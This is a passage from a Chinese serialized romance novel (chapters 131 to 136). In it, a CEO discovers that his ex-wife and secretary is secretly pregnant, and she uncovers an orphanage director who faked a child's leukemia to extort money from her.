沈渺也加快了吃的速度,“等会儿去哪里?”
“我家附近商场新开了一个餐厅,环境和不错,等会儿去看看。”
商音看她一眼,“等走了,咱们就吃不到这边的口味了。”
提到走,沈渺的心里就虚虚的,贺忱还没给她回复。
这都过去快一个星期了。
正想着,她的手机骤然响起。
是贺忱打来的电话。
沈渺把冰激凌交给商音,冲商音‘嘘’了一声。
“贺总。”
她接电话时,人都不由自主的站直了身体。
那端,确实一阵安静。
沈渺等了几秒,看了眼手机界面,确定没挂断,她又喊了一声。
“贺总?”
“你在哪儿。”
沈渺静默数秒道,“在外面。”
她家楼下,确实算外面。
这个点儿,快中午了,只怕贺忱是让她下午去一趟公司?
沈渺正在等贺忱下文时,突听贺忱道了句,“知道了。”
然后,电话挂了。
忙音一阵阵传来,沈渺人都蒙了。
“怎么?”商音看她一脸懵,“给你发配到边疆去了?”
沈渺摇头,“他问我在哪里。”
商音眉尾一挑,示意她继续说。
她继续说,“然后就挂了。”
“啊?”商音一愣,“你刚刚说的是在外面,你要是说在家里,他是不是就来找你了?”
沈渺下意识否认,“不可能,他有事会打电话。”
现在,任何事情都没有必要面谈。
除非调职确定好,她回公司办理手续,去都去了本着人道主义,她再跟贺忱这个上司,道个别。
想不通这通突如其来的电话,沈渺将手机放下,扭头去商音那儿拿冰激凌。
结果一抬头才发现,商音手里只剩下两个冰激凌的空壳子了。
“你怎么把我的都吃完了!”
商音把空壳子往沈渺面前一递,“还有一层,你舔舔?”
沈渺理都不理她,拉开车门上去,坐稳后转身正准备逗一逗商商。
目光略过车窗外一抹熟悉的身影,霎时一个激灵。
131.贺忱:查清楚这个孩子是谁的!
“你下来,旁边那家商场还有一家冰激凌店,我再去给你买一个,不过只能买个小的……”
商音走过来,挡住她视线,敲了两下车窗。
见她不下来,商音直接把门打开,拉她下车。
沈渺猝不及防地被拉下车,目光一颤越过商音看向那位置。
小区角落树荫下,贺忱方才站在那里的画面,十分清晰。
让她想起有一次贺忱来这儿接她。
那时是冬天,枝杈干枯挂着雪霜。
贺忱穿着黑色呢大衣,站在那里等着她下楼。
恍惚间,画面重合。
只是,树荫下那抹身影,消失不见了。
树荫葱郁,被照射下来的阳光打出阴影,光线有些昏暗。
哪里有贺忱?
“嘿,看什么呢?”
商音见她盯着一个地方不动,抬手在她面前招了招。
沈渺蓦地回神,她轻摇头,“没事,你刚说什么?”
“我说带你去就近的商场买冰激凌吃。”
商音顺着她目光,往那棵树下看。
“不用了,我有些饿了,去吃饭吧。”沈渺示意她上车。
末了,沈渺先弯腰上了车。
商音给她关上车门,往驾驶位绕的时候,又往树荫下看了一眼。
那棵树有些年头,很是粗壮。
依稀可见一抹黑色衣角露出来。
商音开车门的动作一顿,眼眸划过一抹惊讶,很快又恢复如常,上车了。
“走。”
她驱车驶离小区,透过后视镜往那颗树看。
拐弯时,她清晰的看到了树后站着一个人。
贺忱劲瘦精壮的身子抵着树干,插在兜里的手腕处挂着黑色西装。
他另一只手拿着手机,正在打电话。
“林昭,我要沈渺这一年来所有动向的详细信息,事无巨细。”
“沈秘书?”林昭惊讶不已,“贺总,出什么事情了吗?”
贺忱目光郁沉,“半小时之内给我。”
半个小时,要近一年的所有动向,还事无巨细,是个难题。
林昭顾不上再问,挂了电话马不停蹄开始调查。
一个接一个的电话打出来,率先查出来的,是沈渺怀孕。
沈渺再怎么有心瞒着怀孕的事情。
查她的人是贺忱,都瞒不住的。
“嘶——”
“啊?”
“这……”
林昭一连张了三次嘴,却凑不齐一句完整的话。
沈渺怀孕了?
难怪,她回来之后再没喝过咖啡,最近更是连穿衣风格都变了。
几次陪贺忱应酬,她都找机会推脱没有喝酒。
怀的谁的?
一个念头涌入林昭脑海,他倒吸一口凉气,抽得自己翻了白眼!
“查,查沈秘书的孕检报告,弄清楚她怀了多久!”
顺藤摸瓜,不出五分钟,沈渺的电子孕检档案就别发到了林昭邮箱。
林昭看了一眼,面如死灰,瘫倒在椅子上!
那时间,不就是贺忱醉酒后意外的那一晚吗!?
他毛骨悚然,如坐针毡。
如此惊天的一个大秘密,他这个‘小人物’,怎么配知道啊!
正胆战心惊着时,内线被打通。
贺忱的声音传来,“进来。”
林昭大气不敢喘,使劲吞了吞口水。
他站在原地犹豫了几秒,如壮士赴战场般,朝贺忱办公室走去。
偌大的办公室,清一色的深色系装修彰显贵气。
今天比以往多了一层压抑感。
林昭一进来,就察觉到了。
坐在电脑桌前的男人倚着靠背,白色衬衫松散凌乱。
他眉头拧着,指缝里夹着的烟缓慢燃着。
烟灰缸里,几根烟蒂丢在那儿,还冒着些许烟雾。
看到林昭进来,他将烟灰掸掉,嗓音有几分嘶哑凝重,“说。”
“沈秘书在分公司一直挺顺利的,跟公司的各位高层以及……”
“说重点。”
贺忱不耐烦的打断。
“沈秘书怀孕了,二十二周。”林昭一鼓作气说。
办公室一下静下来,落针可闻。
贺忱将烟蒂插在烟灰缸,随即又拿过烟盒,取了一根烟咬在嘴里。
他点火时,火光颤抖,映在他眼底,灼的眼神都闪烁了下。
深吸一口烟,他嗓音更加低沉,“谁的。”
林昭低着头,眼观鼻鼻观心,心中有数却根本——
“查,查清楚这个孩子是谁的!”
贺忱额头的青筋隐隐可见。
林昭下意识说,“贺总,沈秘书已经跟您离婚了,她怀孕生子是正常的事情,没必……”
不等他的话说完,贺忱鹰隼般锐利的眼眸射过来。
他顿时噤声。
“确实该彻查,她身为您的左右手,怀孕如此大的事情居然不上报,没把您这个上司放在心上!”
缓了缓,林昭掷地有声,一脸坚定。
“三天内,查不到她肚子里的孩子是谁的,你滚出百荣。”
林昭跟了贺忱这么久,还是第一次看到贺忱这么黑白不分。
可见,贺忱多么地想弄清楚,沈渺怀的是谁的孩子。
他走出贺忱办公室,心里沉甸甸地往自己办公室走。
就算他不知道那晚贺忱跟沈渺睡了。
这事儿也禁不住查,到头来他还是要如实跟贺忱汇报。
但要怎么说,说出来的后果,林昭要好好思考一下……
——
初夏,京北的气温二十五度,明明很热,可沈渺莫名觉得背脊发寒。
餐厅包厢里的门紧关着,商商的咿咿呀呀声此起彼伏。
沈渺将空调温度调高了些。
没等她放下遥控器,商音就把手伸过来,覆在她额头。
“你怎么了?不舒服啊?”
“算不上,就是感觉有些怪怪的。”沈渺拿开她的手,“心理作用。”
刚刚那看错了的身影之后,她就一直感觉很怪了。
商音往她碗里夹菜,“赶紧吃,吃完了回家休息一下,可能是累着了,大半天都没闲着了。”
沈渺颔首,拿起筷子继续吃。
两人刚吃饱,没等走呢,沈渺的手机就响了。
是浅姨打来的电话。
“沈渺,你们快来医院,卷卷的骨髓有着落了!”
等骨髓移植是可遇不可求的,有些人几年也等不来。
卷卷等的时间不久,事情算顺利的。
商音让月嫂打车带商商回家,她则是跟沈渺去医院。
下午的医院人不多,她们到的时候,卷卷已经办理好住院了。
但病房里只有卷卷一个人,浅姨不在。
“渺渺姐姐,你们来了!”卷卷看起来精神头不错,笑着说,“浅姨去厕所了。”
卷卷刚说完,病房里响起手机铃声。
是浅姨的手机,放在病床头的柜子上。
洗手间突然一阵细琐的杂乱后,门被突然打开,浅姨冲出来直奔床头,拿过手机挂了电话。
浅姨,一脸心虚和心惊胆战。
132.希望沈小姐将来别记恨我
她出来的急而且不管不顾,直接撞了沈渺。
幸好商音挡在沈渺另外一边,不然沈渺就撞在墙上了。
“你干什么!?”
商音扶着沈渺,急了眼,“着急忙慌的,干什么亏心事了啊?”
“我……”浅姨把手机揣口袋里,“我以为是医生打来的,怕错过了。”
沈渺被商音扶了一把,堪堪稳住身形,面色不由得沉下来。
“这么快就安排住院了,医生那边怎么说?什么时候能安排手术?”
一连几个问题,令浅姨的慌乱更甚了几分。
她弯腰给卷卷盖被子,“还不知道呢,等医生消息呢,主要是咱也没交钱呢,手术费还缺二十万呢。”
“还缺二十万?”商音声音尖锐,“怎么比预估的多这么多?”
浅姨刚给卷卷盖好被子,卷卷就推开了,嚷嚷了一句‘热’。
浅姨瞪她一眼,连带着语气也变得不好。
“谁让她年纪太小呢,医生说小孩子做手术难度大,危险系数高,要请有名的医生来给做,人是你们非要救的,她这条命可值钱了……”
“行了。”商音打断道,“又不用你掏钱,废话少说!”
浅姨动了动嘴唇,不再说话。
沈渺走到病床前,跟卷卷漆黑的眼睛对上。
许是她还小,不理解生死意味着什么。
所以她的眼神干净清脆,充满了生命的活力。
浅姨找了个借口离开了,神神秘秘的。
沈渺和商音陪着卷卷玩了会儿。
“渺渺姐姐,音音姐姐,我的病是不是要花很多钱?”
卷卷眼睛一眨一眨地看着她们。
商音摸了摸她的头,“放心吧,我们能赚钱,你安心养着,养得白白胖胖的,钱不白花就行了。”
“如果治不好,就不好浪费钱了。”
卷卷声音脆脆的。
说出来的话,让沈渺和商音的心‘咯噔咯噔’的直抽痛。
“是不是浅姨又跟你说什么了?”
商音弯腰,捏着卷卷的小脸蛋,“你老实说,她是不是趁着我们不在,对你不好?”
卷卷犹豫了下,先点头又赶紧摇头。
“也不完全是,她有时候会冲我发脾气,有时候还会抱抱我,说我是她的摇钱树。”
摇钱树?商音不解地看向沈渺。
“你先陪着卷卷,我出去看看。”
沈渺给商音使眼色,末了她转身离开病房。
VIP病房区环境优雅安静。
她出来后站在门口静了几秒,朝着依稀传来声音的方向走去。
离着楼道越近,那声音就越清晰。
“你之前不是这样说的,那些钱我有分配权,你……”
浅姨的声音传来。
沈渺的脚步声顿住,她看着敞开一条缝隙的楼道。
没等她再听里面传来声音,电话就挂断了。
浅姨拉着一张脸,从楼道出来,气冲冲像是要去找什么人算账。
只是刚出来,就对上了沈渺的目光。
“你,你怎么在这里?”
“你在给谁打电话。”沈渺打量着她。
浅姨把手机放到口袋里,眼皮跳了两下。
她吞了下口水,又理直气壮起来,“我当然是给卷卷筹钱了,你们两个那边凑一凑还差多少?剩下的我来想办法。”
沈渺沉吟片刻道,“我们所有的钱都给你了,现在手头没钱了。”
“不可能。”浅姨想都不想就说,“你前几天不是还拿了一笔奖金呢?”
她竟是连沈渺拿了一笔奖金的事情都知道。
“钱没了还能再赚,可是命没了就真没了!”
浅姨敲打着她,“你自己好好想想吧,跟商音你俩尽快把二十万打过来。”
说完浅姨离开,步履匆匆。
沈渺双手揣兜,她盯着浅姨离开的背影。
浅姨进入病房,她收回目光,在原地顿了几秒,抬脚朝护士站走去。
“您好,请问林卷卷的主治医生是哪位?”
护士帮她查了一下,“是刘大夫。”
沈渺点了下头,道谢后朝刘大夫的诊室走去。
刘大夫是京北医院如今最年轻的医生,资历浅没有任何的手术经验。
沈渺到了刘医生的诊室门口,看到了他的全名,去网上搜了一下。
这个医生三年前毕业,一直做助医了。
上个月刚成为一名医生,按理说还不能作为主治医生进行手术。
可他居然成为了浅浅的主治医生。
“沈小姐。”
一道熟悉的声音传来。
沈渺回过头。
秦川穿着白大褂,双手揣在兜里,站在拐角处。
“秦医生。”沈渺眉头不由一蹙,“你不是说这几天都不会来医院吗。”
“突发情况,被喊回来处理。”
秦川朝她走过来,见她停在刘医生诊室门口,脸色不太好,问道,“需要我帮忙吗。”
沈渺摇头,又想到什么似的说,“你对白血病,了解多少?”
“虽然不是一个科室,但也了解,你想咨询什么。”
秦川看了看时间,“我刚处理完一个紧急工作,有点时间,去我办公室?”
沈渺跟他不熟。
至少她觉得,没有到他能好心腾出时间,专门为她解决疑难杂症的地步。
可浅姨那边实在怪异,她顾不上那么多。
“好。”
沈渺跟着秦川去了他诊室。
门关上,隔绝开外面的嘈杂。
秦川倒了一杯温水给她,“对方是你的什么人。”
沈渺道谢,“谢谢,是孤儿院的一个孩子,她前段时间被确诊白血病,今天有了合适的骨髓。”
“这么快。”秦川微微拧了下眉,“当然,也有运气好的会在很短的时间内找到匹配的骨髓,你有什么疑问吗?”
“刚刚那个刘医生,是她的主治医生,我看刘医生资历很浅,按理说不应该做医生。”
沈渺条理清晰地分析着。
“还有,手术费比之前那个医生预估的高出二十万,之前那个医生给卷卷用的药就比其他医生预估的高出很多。”
冷静下来,她发现了很多不合理的地方。
尤其是医药费上。
秦川沉吟片刻道,“我来这儿时间不久,对刘医生不熟,我帮你打听一下,明天给你答复。至于医药费的事情,我可以明确地告诉你,费用跟初期预估会有出入但绝对没有这么多,我可以再帮你查一查账单。”
“谢谢秦医生。”沈渺站起来,“以后有机会一定还您这个人情。”
秦川站起来,垂着眼皮道了句,“还就不必了,只希望沈小姐将来别记恨我。”
133.让她直接来找我
“你说什么?”
秦川的声音太小。
沈渺已经开了半个办公室的门,门外嘈杂的声音传来,她没听清楚。
秦川站起来,客气一笑,“没什么,慢走。”
沈渺并未多想。
秦川这人确实有些奇怪。
但事情迫在眉睫,等她离开京北这层关系就断了。
也不用忌惮秦川认识贺忱。
所以沈渺不想那么多,朝秦川颔首后离开。
她前脚走,后脚秦川就拨通了贺忱的电话。
“体检报告弄好发你邮箱了。”
那端贺忱的声音有些低哑,明显听出不高涨的兴致。
“知道了。”
“你在医院认识的有人吗。”
秦川又问。
贺忱,“你给林昭打电话,让他给你安排。”
他连问都不问,秦川要干什么。
“也行,林昭应该知道,沈小姐孤儿院那个小姑娘叫什么名字,省得我再去打听。”
秦川意有所指。
他说完,电话那端陷入一片死寂。
“没别的事了,我挂了。”
秦川嘴上这么说,却没有挂电话的意思。
贺忱忙不迭开口,“你要查什么。”
“沈小姐把她这么多年的积蓄,都给孤儿院的小孩治病了,但是医药费高得离谱,我想是医院坑她钱了。”
秦川言简意赅,末了又说,“毕竟是你秘书,我主动说给她查查。”
但是秦川这些年一直在国外,国内没朋友。
秦家的势力,他指望不上,只能求助贺忱。
“没有金刚钻,就别揽瓷器活儿。”
贺忱语气明显听出不悦。
秦川,“你是不想让我管沈小姐吗?”
“我的意思是,下次你让她直接来找我。”
贺忱指了一条明路。
秦川眉尾轻挑起,“现在也不晚,等她来找我,我让她去找你。”
“挂了。”贺忱挂断电话,指腹轻轻摩擦着手机屏幕。
他记得,沈渺提了不止一次的离职。
可后来真放她走的时候,她却留下了。
是因为身上没钱了,全都给那孩子治病了。
就算还没展开调查,不过转瞬贺忱已经猜出些许。
如今,他唯一猜不透的就是沈渺为什么要瞒着他怀孕的事情。
隐隐中,他总觉得事情跟自己有关系。
可说不通。
卷卷生病的事情,更好调查。
林昭只用了十分钟,就把卷卷的病历拿到手,送到贺忱办公室了。
“这病历看起来没问题,不过我找人查过了,这个孩子用药剂量不对,而且医药费也确实高得离谱,还在原有的基础上又加了二十万。”
贺忱撇一眼病历,然后又看向他。
“怎么回事。”
林昭:“……”
他只是查到了卷卷的病,和不对劲的地方。
其他的,还没来得及调查。
“让你查个事情,拖拖拉拉到现在都还没查出来,不想干了?”
突如其来的指责,让林昭的背脊一凉。
距离贺忱让他调查沈渺腹中孩子是谁的,已经过去好几个小时了。
但看贺忱的脸色,好像过去了好几天,他无能至今没查出来一样。
“我这就去查。”
林昭强忍着没有直接告诉贺忱,沈渺怀的极有可能是他的孩子的冲动。
他到底还是忍住了。
半小时后,林昭再次回来。
“贺总,查清楚了,那个孩子的病历是伪造的,沈秘书打到医院的那些钱都流到孤儿院院长的账户,我猜院长是利用那孩子,骗了沈秘书的钱。”
这事儿,无论如何也不想一个孤儿院院长干得出来的。
说完林昭又添一句,“还有沈秘书的朋友,商音,也把自己掏空了。”
“现在什么情况?”贺忱眉骨一拢。
他见过浅姨一次。
那天周末,沈渺利用假期去孤儿院帮忙。
回来时下起大雨,她的车坏了,为了不耽误第二天上班,她给他打了电话。
那是他们结婚后,她因为私事,第一次主动给他打电话求助。
贺忱开车去接她,浅姨撑着伞把沈渺送出来。
雨势很大,沈渺的裤子被打湿紧紧沾在那两条笔直且很细的腿上。
他当时的注意力都在沈渺身上。
可还是能察觉到,浅姨打量了他很久。
那打量的目光,很令人不适。
“现在,孤儿院院长说手术费要增加二十万,让沈秘书跟商小姐拿钱,沈秘书也察觉到不对了,所以到现在还僵着。”
贺忱目光郁郁。
他知道,沈渺每个月都会给孤儿院打钱,供孤儿院的孩子们开销。
孩子们确实可怜,但那个院长像吸血鬼一样,实在令人反感。
他几次听到沈渺接电话,都是她没按时打钱,被追着要钱。
“盯着点,有任何动向立刻向我汇报。”
林昭颔首,不敢多言。
他生怕贺忱又问沈渺肚子里的孩子是谁的,查得如何。
办公室安静下来。
贺忱的眼皮从早上跳到现在,跳得他心里乱糟糟的。
他抬手摁了摁眼皮,胸腔那颗始终沉稳缓慢跳动的心脏,也呼应般的跳动加快着。
一个上午,他一份文件也没处理,大脑一片空白。
他控制不住的在想,沈渺怀的,到底是谁的孩子。
——
浅姨说,骨髓不等人。
她催沈渺和商音缴医药费。
回家的路上,商音已经在核算家底了。
“这几天我直播赚了一些钱,但离着二十万还有一截,渺儿,你那里还有多少?”
沈渺没回话,她在想浅姨那通电话。
“渺儿?”
商音没得到她回应,拔高一些音量又喊了她一遍。
沈渺开了口,“我们凑凑,应该够。”
“你……是不是担心以后没钱养孩子?”
商音迟疑片刻问,问完了她又立马保证,“我们虽然兜比脸干净,但你放心,有我在就不会饿着你们娘俩,我以后每天加播一场……”
她以为,沈渺不愿意掏这笔钱了。
“音音,你一场直播再带孩子,就已经够辛苦了,我不能把全部的压力都放在你一个人身上。”
沈渺这几天跟商音住,她是看得到商音多辛苦的。
再加播,占据的是商音休息的时间。
“医药费的事情先不急,音音,我要先确定一件事情,在那之前不要给浅姨打钱。”
商音脸色一凝,像是意识到什么,“你不会是想管贺忱借钱吧?”
134.又让他失了神。
看商音面色凝重,投来的目光充满了智慧。
沈渺还以为,她猜到了。
结果没想到——
“如果这钱不用再给卷卷交医药费了,听我的,剩下的你拿去医院看看脑子。”
沈渺不再看她,怕被她那智慧的眼神,气坏了。
商音想,自己一定是开着车,脑子不灵光了,才没有get到沈渺的意思。
“你说,你快说……”
她磨了沈渺一路,沈渺也没说。
因为沈渺目前,只是猜测。
浅姨这人,有些复杂。
尖酸刻薄性子也不讨喜,偏偏她这些年为了孤儿院任劳任怨,付出了太多。
万一她误会了什么,寒人心。
一直到晚上,沈渺也没接到秦川的回复。
她沉不住气,给秦川发了微信。
秦川回消息很快:【我刚回京北,认识的人不多,贺忱答应帮忙了,你可以直接联系他。】
沈渺宕机。
最近除了调职的事情,她跟贺忱从未联系过。
不再是每天见面的上下司,他们的关系也显得疏远了许多。
直接打电话问这件事,总感觉局促。
可沈渺还是硬着头皮打了这通电话。
电话响到快挂断时,才被接起。
听声音,贺忱在忙,“说。”
“贺总,我是为卷卷的事情来的,就是秦医生请您帮忙的事情。”
沈渺声音轻轻的。
“林昭查到了些东西,明天上午你来公司拿。”
贺忱声音淡淡的,透着事外人的漠然。
他忙得日理万机,调查这些小事可谓是杀鸡用了宰牛刀。
估计是不高兴了?
反正沈渺从他语气里听出了不高兴的成分。
“麻烦您了。”
沈渺以一句客气语,结束了通话。
她的声音在安静的夜晚,十分清晰,落入贺忱的耳中。
被挂断电话的手机屏幕暗下来,贺忱棱角分明的脸倒映在上面。
他狭长的眸子微微眯起着,放下手机,看向会议室一群大眼瞪小眼的高层。
“会议继续。”他吐出四个字。
逼仄的会议室恢复如常,公关部经理继续做汇报。
这会议原本是下午就该开的,可是贺忱实在没状态,拖到了这个点。
眼看好不容易有了状态,进入会议,一通电话,又让他失了神。
贺忱不知道自己在想什么,只知道自己的注意力无法集中。
会议结束时,已经是深夜十一点。
他在办公室休息室歇下,洗了澡上床,就听手机响了一声。
秦川发来的消息:【沈秘书给你打电话了?】
他回:【嗯。】
回完,他又想起程唯怡的体检。
退出聊天界面,他找到秦川师父的电话,拨出去。
秦川的师父刚来国内没几天,生物钟还没调过来,这个点儿还精神抖擞着。
他操着国外的腔调说着还算流利的中文,中气十足地说,“贺,你在跟我开玩笑?你未婚妻的身体就算神仙来了也治不好,秦那小子耍你呢?这么明显没得治的病,白折腾了。”
“劳烦您跑这一趟,回头我找他算账。”
贺忱嗓音沉入死水,他又开口,“我让人安排您回去。”
说罢,他挂了电话,又重新给秦川拨过去。
秦川接得很快,没等应声,就迎来的他劈头盖脸的质问。
“你最好给我一个解释。”
他们兄弟多年,贺忱没说是什么事情,秦川就知道他指的是哪件事。
“就是想知道,你到底爱不爱程唯怡。”
贺忱愣是被气笑了,“那你现在知道了吗?”
秦川,“知道了。”
“你给老子等着,哪天落我手里,我让你好看。”
贺忱挂了电话。
粗狂的话难以消泄他心头翻江倒海的情绪。
手机屏幕熄了,休息室彻底暗下来。
半敞的窗帘映进来霓虹灯,室内轮廓勉强可见。
贺忱翻来覆去,怎么也睡不着。
天还未亮,他就起来一番整顿,坐在办公桌前,等着沈渺来。
快八点钟的时候,贺忱的手机响了。
是贺老夫人打来的电话。
“上次跟你说的事情,你考虑得怎么样了?”
贺老夫人指的是,撮合沈渺跟何之洲的事情。
贺忱,“她的事情您就别操心了。”
说完,他又添了句,“也轮不到我操心。”
“你当时答应得好好的,怎么突然变卦?”贺老夫人不高兴,“算了,我去找你爸办这事儿。”
不等贺忱再说什么,贺老夫人挂了电话。
她怎么就那么认定,沈渺跟何之洲有什么?
贺忱拿出沈渺调职的计划表,看到几个离京北要多远有多远的分公司,被排在前面。
他想,是该跟沈渺好好谈谈了。
从沈渺隐瞒怀孕,到她辞职原因。
再到她现在挑了离京北最远的分公司。
还有,年前那晚她用商音的孩子发朋友圈,目的到底是什么?
一个接一个说不通的地方,堵得贺忱一上午都心情不好。
快十一点时,林昭敲响办公室门,进来。
“贺总,程小姐来了,说给您送午餐。”
贺忱头也不抬,“告诉她我在忙。”
林昭颔首,“是。”
他转身往外走。
贺忱喊住他,“沈渺没来吗?”
“来了,她……让我把东西放在前台,估计这会儿已经拿走了吧。”
昨晚电话中,贺忱说的是林昭查到东西了。
所以沈渺直接给林昭打的电话。
“已经拿走了?”贺忱豁然起身,“你把人给我找回来!”
林昭一激灵,心底大为不妙,“……是。”
——
沈渺给林昭打电话的时候,觉得林昭的声音不太对。
说话吞吞吐吐的。
她以为林昭很忙,所以让林昭把东西放在前台去拿。
省去见面寒暄这一步,免得耽误林昭工作。
谁知她拿了东西,还没拆开看时,林昭就给她打回电话来了。
“沈秘书,你走了吗?”
“我在拐角街,等车。”沈渺报了自己位置,“东西我已经拿到了,谢谢你。”
林昭,“这儿还落下了个东西,你赶紧回来拿!”
沈渺低头看了看牛皮纸袋,是密封状态。
可林昭都这么说了,她只好取消网约车,又回公司。
她再让林昭把东西送到前台,林昭告诉她上楼拿。
她还没离职,前台让她上去了。
一出电梯门,她就看到林昭站在贺忱的办公室门口。
办公室的门大敞四开,男人接电话时低沉富有磁性的声音传出来。
135.可他还是不敢相信
不知为什么,听到贺忱的声音,沈渺心头有些虚虚的。
她快而轻地走到办公室门口,低声跟林昭说,“林助,东西给我……”
“贺总,沈秘书来了!”
林昭的心情也是复杂的。
沈渺出现后,他就一直盯着沈渺看。
果不其然,小腹微微隆起。
只怕不知道的人,还看不出她怀孕了。
他可不愿意掺和这趟浑水,拉着沈渺进入办公室,高声打断贺忱正在接电话。
然后,他松开沈渺转身就跑了。
大敞四开的办公室门被关上,而且管得严严实实。
事发突然,沈渺来不及反应。
只觉得再回了神时,贺忱就已经在她面前了。
男人眼皮轻掀,深邃莫测的眼神朝她投来。
具有穿透性的目光,仿佛把她看透了,将她从头打量到脚。
尤其,在她小腹处,深深看了两眼。
“贺,总,抱歉打扰了。”
她忍不住结巴了,那股不想看到贺忱的情绪一下涌上来,写在脸上。
贺忱不说话,朝她投来的眼神却是寸寸深。
像是要把沈渺看出一个洞,将她想隐瞒的事情,全都摆到明面上来!
沈渺深吸一口气。
“我是来找林助的,就不打扰您了。”
她转身往外走。
“站住。”
男人挂了电话,电话那端人喋喋不休的声音一下没了。
他放下手机,起身绕过办公桌,坐靠在桌子上,继续打量她。
乍一看,沈渺跟以前没什么区别。
可细看,她的腰臀比例更加丰腴。
以前一手可握的腰肢确实粗了些,可是与暴增的三围比起来,依旧显得腰线优美。
她怀孕了。
人就站在面前,贺忱也能看出端倪了,可他还是不敢相信。
怀的谁的?
这个疑问,从昨天到今天,一直浮在他脑海里,从未消失过。
说不上心头什么滋味,统称为——难受。
贺忱竟然是难受的。
他轻抿着嘴唇,眉头拧得一寸比一寸什深。
“抱歉,不该因为私事麻烦您,如果我知道秦医生会找您帮忙,我不会求他。”
沈渺以为,贺忱是因为让他帮忙,而生气。
她转过头来,态度毕恭毕敬。
装得这么像。
贺忱盯着她,没有一点瑕疵的脸上,没有分毫的心虚。
她坦然自若地站在那里,说谎时脸不红心不跳。
不……她没说谎。
她压根就没提过怀孕的事情,只是在穿着打扮上用了些心思去隐瞒。
怀孕这件事,她是没有必要告诉贺忱的。
贺忱越想心里越杂乱。
他转过身拿过桌子上的烟,刚放在嘴里,又想起什么似的,把点燃的火儿灭了。
“调职的事情,你选的几个地方都不行,重新选。”
沈渺也拧了眉,“这几个分公司近几年都不稳定,非常需要一个有能力的人过去长期稳定管理。”
长期,稳定管理。
这意思是,沈渺走了就不打算回来。
“重新选。”贺忱薄唇溢出三个字。
不容置疑,而且面色严肃凝重,像是沈渺去这几个地方,是犯了滔天大错。
沈渺静默数秒,颔首道,“那贺总给几个建议吧。”
现在缺人的分公司不少,贺忱选几个地方,她挑个最远的。
先离开京北再说。
“等我选好通知你。”
贺忱冷声道。
沈渺只能答应,“好。”
她说完,不见贺忱再有下文,便又说一句,“没别的事情,我就先走了。”
贺忱喊她来,根本就不是为了调职的事情。
她所谓的‘别的事情’,他还没问。
可话卡在贺忱嗓子眼里,怎么也说不出口。
他看着沈渺一步步离开办公室。
办公室的门合上了,看不到她了。
贺忱将嘴上的烟拿下来,搓成一团,烟叶散落掉在他的裤脚和鞋子上。
好一会儿,贺忱将挫烂的烟丢入垃圾桶里,用了十足的力气。
办公室外,沈渺出来后,又忍不住回头看了眼紧闭的大门。
她有一种贺忱想追出来的错觉。
跟了贺忱这么久,贺忱有心事她是看得出来的。
或许是调职,赶上他跟程唯怡的婚期临近,事情比较多。
沈渺顿了几秒,就去了林昭办公室,要落下的东西。
她敲响林昭办公室门,推开进去,就看到林昭哆嗦着从工位前站起来。
“沈……沈秘书,聊完了?”
沈渺走进来,“聊什么?”
就聊你怀孕的事儿啊!
林昭差点脱口而出,可定睛打量,沈渺面色平静。
没有被戳穿怀孕的慌张。
“贺总刚说,找你有事。”他试探地问。
沈渺回忆了下跟贺忱的对话。
他们谈了调职的事情,确实算‘事’。
“聊完了,你把东西给我吧。”
林昭,“什么东西?”
沈渺晃了晃牛皮纸袋,“你不是说落了东西吗?”
“没落,都在里面了。”林昭早已忘了,他喊沈渺回来的理由是什么。
要说刚刚的贺忱有些怪怪的。
那现在的林昭更怪。
“那我走了。”
沈渺转身离开,走出林昭办公室遇上了几个小秘书,她笑着打了声招呼,离开公司。
等网约车时,她打开牛皮纸袋。
经林昭调查,卷卷的身体各项指标虽然指向白血病,可是有一部分数据跟她这个年纪不符。
至于医药费和手术费,都跟实际消费有很大出入。
林昭只负责调查到这一步,没有深入调查。
沈渺把东西装回牛皮纸袋里,她面色前所未有地难看。
她以为,浅姨想趁着卷卷生病,多薅一笔钱。
因为怕她和商音离开京北,断了孤儿院的供给。
如今看来,很可能连卷卷的病,都是假的!
沈渺更改了打车地点,去了医院。
VIP病房。
病房门紧闭着,隔着窗户能看到浅姨坐在沙发上,敲着二郎腿玩儿着手机。
她手里还拿着一个苹果,吃得津津有味。
沈渺推门而入的一瞬间,浅姨迅速放下手机,起身走到卷卷病床旁边。
她动作快的沈渺只捕捉到一抹残影。
等看清楚时,浅姨已经站在卷卷病床旁边,而那啃了一半的苹果,在卷卷手里。
卷卷脸上一闪而过的迷茫,被浅姨轻拍了下后背打断。
浅姨说,“别愣神,赶紧吃完,吃这个对身体好。”
136.你愿意喜当爹吗?
这样的事情,浅姨不知道干了多少次了。
卷卷很快回过神来,大口大口地吃苹果。
“你出来,我有事找你。”
沈渺那双清可见底的眼眸,蕴着一层薄怒。
浅姨被她看得,心里‘咯噔’一声。
沈渺先出了病房,她在长廊尽头等着浅姨。
等了好一会儿,浅姨才出来。
“什么事儿不能在病房里说啊?卷卷一个人在病房,我不放心。”
浅姨听似责怪的语气里,夹杂着浓烈的不安。
毕竟,她干了亏心事!
沈渺直接把牛皮纸袋交给她,看都不看她一眼。
“给我一个解释。”
“什么解释不解释的?”浅姨拒收了牛皮纸袋,她直接把东西推回到那儿,“你有事儿直接说。”
沈渺的手垂下来,她冷眼看着浅姨。
“要么你看了给我一个解释,要么我把这些东西交到警察局里去。”
“哎,你!”
浅姨一声惊呼,一把将牛皮纸袋抢过去。
她打开了牛皮纸袋,只看了一眼,呼吸都变得急促,心虚更明显了。
“这都什么啊?我怎么看不懂?”
“钱呢?”沈渺不予理会她的装傻充愣。
眼看瞒不过去,浅姨破罐子破摔,“是,卷卷没生病,我这么做还不是为了你和商音好,你们两个在京北有这么好的前途和发展,为什么非要离开?”
“孤儿院这么一大家子,都指望着你们养……”
“这些年我和商音赚的大部分的钱,都被你拿走了,我们还给孤儿院的恩情大于孤儿院对我们的养育之恩!”
沈渺打断她,“我们有自己的生活,自己的计划,我们答应过了不会断了给孤儿院的供给,你这样做寒了我们的心不说,卷卷她才几岁!?这样对她的心里造成多大的伤害!”
浅姨的尖酸刻薄,沈渺看在眼里,很少计较。
她念及这些年,浅姨打理孤儿院不容易。
就算人再不好,可她照顾这么多孩子,没有功劳也有苦劳,能忍就忍了。
可这次不一样。
就算她不需要这笔钱离开京北,去养孩子。
浅姨的行为,也触及了她的底线。
“你们有什么计划?她生个孩子你也生?孤儿院这些没爹没妈的孩子不够可怜吗?你们两个是糊涂了!”
事情已经戳破,浅姨的心虚演变成蛮横不讲理。
